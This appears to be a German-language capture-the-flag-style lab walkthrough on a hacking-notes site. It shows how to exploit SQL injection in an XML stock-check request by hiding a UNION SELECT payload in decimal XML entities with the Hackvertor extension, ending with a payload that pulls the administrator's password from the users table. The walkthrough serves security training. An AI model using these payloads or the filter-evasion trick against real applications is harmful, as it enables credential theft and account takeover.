> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/sql-injection/sql-injection-filter-bypass-via-xml-encoding.md).

# SQL-Injection-Filterumgehung mit XML-Kodierung

### SQL-Injection mit Filterumgehung durch XML-Kodierung

Dieses Lab enthält eine SQL-Injection-Schwachstelle in der Bestandsprüfungsfunktion. Die Ergebnisse der Anfrage werden in der Anwendungsantwort zurückgegeben; daher können wir einen `UNION` Angriff verwenden, um Daten aus anderen Tabellen wiederherzustellen. / Die Datenbank enthält eine `users` Tabelle mit den Benutzernamen und Passwörtern registrierter Benutzer. Um das Lab zu lösen, führen Sie einen SQL-Injection-Angriff durch, um die Benutzer-IDs des Admin-Benutzers abzurufen, und melden Sie sich dann bei dessen Konto an.

Bereitgestellte Beispiele:

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>2</productId>
  <storeId>2 union select 1</storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/9b49c105c8db7bcad8266b37b8c4867998d40206" alt=""><figcaption></figcaption></figure>

* Hackvertor-Erweiterung — Dezimal-Entitäten

<figure><img src="/files/4279f08cac29687d0e9443633196982c895dc57a" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>2</productId>
  <storeId><@dec_entities>2 union select 1</@dec_entities></storeId>
</stockCheck>

<@dec_entities>
2 union select password from users where username='administrator'
</@dec_entities>
```

{% endcode %}

<figure><img src="/files/69a308d6ce72b5bf9b88489dbb9e73f448369244" alt=""><figcaption></figcaption></figure>


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